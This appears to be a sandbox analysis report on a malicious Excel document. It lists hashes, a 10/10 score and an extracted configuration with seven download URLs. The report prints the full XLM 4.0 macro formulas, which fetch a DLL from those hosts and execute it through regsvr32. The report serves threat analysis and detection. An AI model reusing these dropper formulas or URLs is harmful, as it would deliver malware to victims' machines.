General

  • Target

    587d99daaa1d8715946c467ffb696a6badd72100c28e3288f12dc0c454668a43

  • Size

    73KB

  • Sample

    241120-pzmdgaxjhw

  • MD5

    fa766b3bd4c33ef46b978a351e06d27c

  • SHA1

    33e44534d276ac52de8ab4d830168c046300f357

  • SHA256

    587d99daaa1d8715946c467ffb696a6badd72100c28e3288f12dc0c454668a43

  • SHA512

    06d7641e95b806706202df417406c9528f1beb20f8446327108555a46945b5a1d4635009adee0fbacfd53b924018694aa0425f2b7ffef4d84b2874257d2b3cb2

  • SSDEEP

    1536:4+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:4+1kiCtzSmICpH7OZuvZGsMe0/

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

http://almoiz.com/urdu/LDlbo5gc4c/

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

http://avrworks.com/mail/tGJconiBvy59a81/

http://asave.com.mx/cgi-bin/CUa/

https://aquinoabogados.com.ar/newsletter/tx9KBb2j/

http://avcservices-tt.com/EANAPI/hswSV1/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://almoiz.com/urdu/LDlbo5gc4c/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avrworks.com/mail/tGJconiBvy59a81/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asave.com.mx/cgi-bin/CUa/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aquinoabogados.com.ar/newsletter/tx9KBb2j/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avcservices-tt.com/EANAPI/hswSV1/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

xlm40.dropper

http://almoiz.com/urdu/LDlbo5gc4c/

xlm40.dropper

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

xlm40.dropper

http://avrworks.com/mail/tGJconiBvy59a81/

Targets

    • Target

      587d99daaa1d8715946c467ffb696a6badd72100c28e3288f12dc0c454668a43

    • Size

      73KB

    • MD5

      fa766b3bd4c33ef46b978a351e06d27c

    • SHA1

      33e44534d276ac52de8ab4d830168c046300f357

    • SHA256

      587d99daaa1d8715946c467ffb696a6badd72100c28e3288f12dc0c454668a43

    • SHA512

      06d7641e95b806706202df417406c9528f1beb20f8446327108555a46945b5a1d4635009adee0fbacfd53b924018694aa0425f2b7ffef4d84b2874257d2b3cb2

    • SSDEEP

      1536:4+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:4+1kiCtzSmICpH7OZuvZGsMe0/

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks